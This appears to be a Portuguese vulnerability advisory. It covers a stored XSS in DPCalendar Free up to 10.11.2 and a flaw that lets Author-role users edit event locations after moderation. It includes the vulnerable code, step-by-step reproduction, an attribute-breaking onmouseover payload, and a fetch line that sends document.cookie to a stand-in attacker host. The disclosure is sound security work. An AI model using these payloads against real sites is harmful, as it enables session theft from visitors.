
Stored XSS via Location Title no DPCalendar Free
DPCalendar Free ≤ 10.11.2 — Usuário com Papel de Autor Ignora Revisão de Conteúdo para Injetar XSS Persistente via Título de Localização, Acionado ao Passar o Mouse por Qualquer Visitante
O campo $location->title é renderizado sem htmlspecialchars() em default_locations.php. O InputFilter::clean() do lado do servidor do Joomla remove < e de campos de string, mas permite , permitindo que um usuário com papel de Autor escape do contexto de atributo HTML. Quando qualquer visitante passa o mouse sobre a seção de informações de Localização de uma página de evento, o manipulador injetado executa JavaScript arbitrário na sessão do navegador da vítima.
>"onmouseoverUma segunda falha de design amplifica o impacto: EventController::allowEdit() verifica apenas created_by == current_user — não verifica o estado de publicação do evento. Um Autor pode criar um evento benigno, ter um administrador que o publique e, em seguida, silenciosamente armar a localização vinculada editando seu título após a publicação, contornando completamente a revisão de conteúdo. O payload XSS é inserido após a moderação; os administradores nunca o veem durante o ciclo de revisão.
| COMPONENTE | VULNERÁVEL | TESTADO EM | CORRIGIDO |
|---|---|---|---|
| DPCalendar Free | ≤ 10.11.2 | Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache) | 10.12.0 |
Tipo: Cross-Site Scripting Armazenado / Codificação de Saída Incorreta (CWE-79)
Autenticação necessária: papel de Autor — usuário de frontend (grupo 4 do Joomla, mínimo para criar eventos)
Arquivo: site/tmpl/event/default_locations.php
$location->title é exibido diretamente — sem htmlspecialchars() — em dois contextos de saída em default_locations.php. O contexto de atributo é o sink explorável via interface web, pois o InputFilter do Joomla bloqueia <> mas permite " sem alterações.
DEFAULT_LOCATIONS.PHP — SINKS DE SAÍDA VULNERÁVEIS
// Sink 1 — conteúdo de texto (injeção de HTML; <> removido pelo InputFilter via interface web)
<span class="dp-location__title"><?php echo $location->title; ?></span>
// Sink 2 — atributo HTML (injeção de atributo; " passa pelo InputFilter)
<div class="dp-location__details"
data-title="<?php echo $location->title; ?>"
Um valor de título como New Location" onmouseover="alert(document.domain) é armazenado intacto pelo servidor. Na saída, o Sink 2 é renderizado como:
<div class="dp-location__details"
data-title="New Location" onmouseover="alert(document.domain)"
O atributo onmouseover torna-se um manipulador de eventos ativo no DOM renderizado.
EventController::allowEdit() concede acesso de edição a qualquer Autor para seus próprios eventos, independentemente do estado de publicação. Um atacante estabelece confiança enviando um evento normal para revisão do administrador e, em seguida — após a publicação pelo administrador — edita silenciosamente a localização vinculada para injetar o payload XSS:
SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() SEM VERIFICAÇÃO DE ESTADO
protected function allowEdit($data = [], $key = 'id')
{
// ...
return $calendar instanceof CalendarInterface &&
($calendar->canEdit() ||
($calendar->canEditOwn() &&
$event->created_by == $this->getCurrentUser()->id));
// ↑ Sem verificação de $event->state — eventos publicados permanecem editáveis pelo Autor
}
Navegue até o formulário de login do frontend e faça login com uma conta de Autor (grupo 4 do Joomla — mínimo necessário para criar eventos e localizações).

Navegue até /index.php?option=com_dpcalendar&view=form. Crie um evento com um título limpo e anexe qualquer localização existente (ex.: "Greater London"). Isso estabelece a legitimidade do Autor antes da introdução do payload.


O evento é enviado para revisão. Um administrador faz login e o publica no backend do DPCalendar. O evento agora está ativo e visível para todos os visitantes do site.

Como Autor, navegue até a página do evento publicado. O botão Editar Evento permanece visível — allowEdit() não verifica o estado de publicação. Clique em Editar Evento, vá para a aba Localização e clique no ícone de lápis para abrir o locationform.

Substitua o nome da localização pelo payload. O InputFilter do Joomla permite " — o payload é salvo intacto e quebra o contexto de atributo HTML na saída:
PAYLOAD — CAMPO DE TÍTULO (LOCATIONFORM)
New Location" onmouseover="alert(document.domain)

Clique em Salvar.
Quando qualquer usuário — autenticado ou anônimo — visita a página de detalhes do evento e move o cursor sobre a seção Informações de Localização, o manipulador onmouseover injetado é acionado imediatamente. Nenhuma autenticação, nenhum clique e nenhuma interação adicional são necessários além de visitar a página.

O payload bruto é visível na seção de Localização da página do evento — o título sem escape é renderizado como um atributo HTML ativo:

Passar o mouse sobre a seção de Localização aciona o diálogo de alerta no navegador do visitante anônimo:

Sequestro de sessão — O manipulador injetado pode exfiltrar o cookie de sessão da vítima via fetch('//attacker.com/?c='+document.cookie), concedendo comprometimento total da conta para qualquer papel que visualize o evento.
Superfície de ataque persistente e vinculada ao evento — O payload persiste até que o título da localização seja corrigido manualmente. Todo usuário que visita a página do evento — incluindo visitantes anônimos — fica exposto. Eventos de alto tráfego (conferências públicas, páginas de reserva) multiplicam o número de vítimas.
Contorno de confiança pós-publicação — Como o Autor pode modificar silenciosamente a localização após a aprovação do administrador, o payload nunca é visto durante a revisão de conteúdo. O evento benigno passa pela moderação; o XSS é inserido posteriormente.